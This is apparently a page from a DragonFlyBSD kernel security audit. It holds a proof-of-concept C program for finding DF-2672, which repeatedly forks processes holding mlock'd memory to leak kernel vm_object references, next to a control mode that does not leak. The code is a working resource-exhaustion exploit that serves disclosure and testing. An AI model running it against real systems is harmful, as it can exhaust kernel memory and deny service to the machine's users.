DragonFlyBSD Kernel Audit
DF-2672 / leak_fork.c
← back to finding ↓ download raw
/*
 * DF-2672 - vm_object reference leak: fork() of a wired (mlock'd) entry.
 *
 * vm_map_backing_replicated() (sys/vm/vm_map.c:3512) takes a reference on
 * the base object for the child's cloned entry, then vm_map_copy_entry()
 * (sys/vm/vm_map.c:3627-3634) hits the "src_entry->wired_count" path,
 * detaches and NULLs dst_entry->ba.map_object WITHOUT dropping that
 * reference.  The reference is orphaned; when both processes exit the
 * object survives forever (kernel memory + swap-backed pages never freed).
 *
 * usage: leak_fork <iterations> <bytes-per-iter> leak|control
 *   leak    - mmap+dirty+mlock, fork(), both exit  (leaks 1 vm_object ref)
 *   control - mmap+dirty+mlock, no fork, exit      (object properly freed)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/wait.h>

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 100;
	size_t bytes = (argc > 2) ? (size_t)atol(argv[2]) : (256 * 1024);
	int do_fork = (argc > 3 && strcmp(argv[3], "control") == 0) ? 0 : 1;
	long i;

	if (bytes & 4095UL)
		bytes = (bytes + 4095) & ~4095UL;

	for (i = 0; i < iters; i++) {
		pid_t p = fork();
		if (p < 0) {
			perror("fork");
			exit(1);
		}
		if (p == 0) {
			char *m;
			pid_t c;

			m = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
				 MAP_ANON | MAP_PRIVATE, -1, 0);
			if (m == MAP_FAILED)
				_exit(1);
			memset(m, 0x41, bytes);		/* dirty the pages */
			if (mlock(m, bytes) != 0) {
				perror("mlock");
				_exit(2);
			}
			if (do_fork) {
				c = fork();		/* THE BUG: fork wired entry */
				if (c == 0)
					_exit(0);	/* child */
				if (wait(NULL) != c)
					_exit(3);
			}
			_exit(0);			/* region owner exits */
		}
		wait(NULL);
	}
	fprintf(stderr, "%s: done %ld iters x %zu bytes (%s)\n",
		argv[0], iters, bytes, do_fork ? "LEAK" : "control");
	return (0);
}